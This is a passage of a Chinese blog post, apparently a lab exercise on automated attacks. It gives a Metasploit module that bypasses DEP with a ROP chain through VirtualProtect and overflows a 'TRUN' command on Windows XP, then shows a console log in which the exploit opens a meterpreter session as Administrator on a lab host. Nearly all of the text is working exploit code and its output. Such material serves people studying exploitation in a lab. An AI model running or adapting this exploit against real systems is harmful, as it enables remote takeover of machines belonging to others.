<h2 id="自动化攻击-2"><a href="#自动化攻击-2" class="headerlink" title="自动化攻击"></a>自动化攻击</h2><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">require</span> <span class="string">'msf/core'</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Metasploit3</span> < Msf::Exploit::<span class="title">Remote</span></span></span><br><span class="line"> Rank = NormalRanking</span><br><span class="line"> <span class="keyword">include</span> Msf::Exploit::Remote::Tcp</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">initialize</span><span class="params">(info = {})</span></span></span><br><span class="line"> <span class="keyword">super</span>(update_info(info,</span><br><span class="line"> <span class="string">'Name'</span> => <span class="string">'DEP Bypass Exploit'</span>,</span><br><span class="line"> <span class="string">'Description'</span> => <span class="string">%q{</span></span><br><span class="line"><span class="string"> DEP Bypass Using ROP Chains Example Module</span></span><br><span class="line"><span class="string"> }</span>,</span><br><span class="line"> <span class="string">'Platform'</span> => <span class="string">'Windows'</span>,</span><br><span class="line"> <span class="string">'Author'</span> => <span class="string">'yanhan'</span>,</span><br><span class="line"> <span class="string">'Payload'</span> =></span><br><span class="line"> {</span><br><span class="line"> <span class="string">'space'</span> => <span class="number">312</span>,</span><br><span class="line"> <span class="string">'BadChars'</span> => <span class="string">"\x00"</span></span><br><span class="line"> },</span><br><span class="line"> <span class="string">'Targets'</span> =></span><br><span class="line"> [</span><br><span class="line"> [</span><br><span class="line"> <span class="string">'Windows XP'</span>,</span><br><span class="line"> {<span class="string">'Offset'</span> => find it}</span><br><span class="line"> ]</span><br><span class="line"> ],</span><br><span class="line"> <span class="string">'DisclosureDate'</span> => <span class="string">'2019-01-16'</span>))</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">create_rop_chain</span><span class="params">()</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># rop chain generated with mona.py - www.corelan.be</span></span><br><span class="line"> rop_gadgets =</span><br><span class="line"> [</span><br><span class="line"> <span class="number">0x77dabf34</span>, <span class="comment"># POP ECX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x6250609c</span>, <span class="comment"># ptr to &VirtualProtect() [IAT essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77d1927f</span>, <span class="comment"># MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x7c96d192</span>, <span class="comment"># XCHG EAX,ESI # RETN [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x77bef671</span>, <span class="comment"># POP EBP # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x625011af</span>, <span class="comment"># & jmp esp [essfunc.dll]</span></span><br><span class="line"> <span class="number">0x77e9ad22</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0xfffffdff</span>, <span class="comment"># Value to negate, will become 0x00000201</span></span><br><span class="line"> <span class="number">0x77e6c784</span>, <span class="comment"># NEG EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77dc560a</span>, <span class="comment"># XCHG EAX,EBX # RETN [ADVAPI32.dll]</span></span><br><span class="line"> <span class="number">0x7c87fbcb</span>, <span class="comment"># POP EAX # RETN [kernel32.dll]</span></span><br><span class="line"> <span class="number">0xffffffc0</span>, <span class="comment"># Value to negate, will become 0x00000040</span></span><br><span class="line"> <span class="number">0x77d4493b</span>, <span class="comment"># NEG EAX # RETN [USER32.dll]</span></span><br><span class="line"> <span class="number">0x77c28fbc</span>, <span class="comment"># XCHG EAX,EDX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x77bef7c9</span>, <span class="comment"># POP ECX # RETN [msvcrt.dll]</span></span><br><span class="line"> <span class="number">0x7c99bac1</span>, <span class="comment"># &Writable location [ntdll.dll]</span></span><br><span class="line"> <span class="number">0x719e4870</span>, <span class="comment"># POP EDI # RETN [mswsock.dll]</span></span><br><span class="line"> <span class="number">0x77e6d224</span>, <span class="comment"># RETN (ROP NOP) [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x77e8c50c</span>, <span class="comment"># POP EAX # RETN [RPCRT4.dll]</span></span><br><span class="line"> <span class="number">0x90909090</span>, <span class="comment"># nop</span></span><br><span class="line"> <span class="number">0x77de60c7</span>, <span class="comment"># PUSHAD # RETN [ADVAPI32.dll]</span></span><br><span class="line"> ].flatten.pack(<span class="string">"V*"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> rop_gadgets</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">exploit</span></span></span><br><span class="line"> connect</span><br><span class="line"> rop_chain = create_rop_chain()</span><br><span class="line"> junk = make_nops(target[<span class="string">'Offset'</span>])</span><br><span class="line"> buf = <span class="string">"TRUN ."</span> + junk + rop_chain + make_nops(<span class="number">16</span>) + payload.encoded + <span class="string">'\r\n'</span></span><br><span class="line"> sock.put(buf)</span><br><span class="line"> handler</span><br><span class="line"> disconnect</span><br><span class="line"> <span class="keyword">end</span></span><br><span class="line"><span class="keyword">end</span></span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">msf5 > use exploit/windows/yanhan/rop_attack</span><br><span class="line">msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114</span><br><span class="line">rhosts => 192.168.31.114</span><br><span class="line">msf5 exploit(windows/yanhan/rop_attack) > set rport 1000</span><br><span class="line">rport => 1000</span><br><span class="line">msf5 exploit(windows/yanhan/rop_attack) > exploit</span><br><span class="line"></span><br><span class="line">[*] Started reverse TCP handler on 192.168.31.84:4444</span><br><span class="line">[*] Exploit completed, but no session was created.</span><br><span class="line">msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp</span><br><span class="line">payload => windows/meterpreter/bind_tcp</span><br><span class="line">msf5 exploit(windows/yanhan/rop_attack) > exploit</span><br><span class="line"></span><br><span class="line">[*] Started bind TCP handler against 192.168.31.114:4444</span><br><span class="line">[*] Exploit completed, but no session was created.</span><br><span class="line">msf5 exploit(windows/yanhan/rop_attack) > exploit</span><br><span class="line"></span><br><span class="line">[*] Started bind TCP handler against 192.168.31.114:4444</span><br><span class="line">[*] Sending stage (179779 bytes) to 192.168.31.114</span><br><span class="line">[*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800</span><br><span class="line"></span><br><span class="line">meterpreter > getuid</span><br><span class="line">Server username: WHU-3E3EECEBFD1\Administrator</span><br></pre></td></tr></table></figure>
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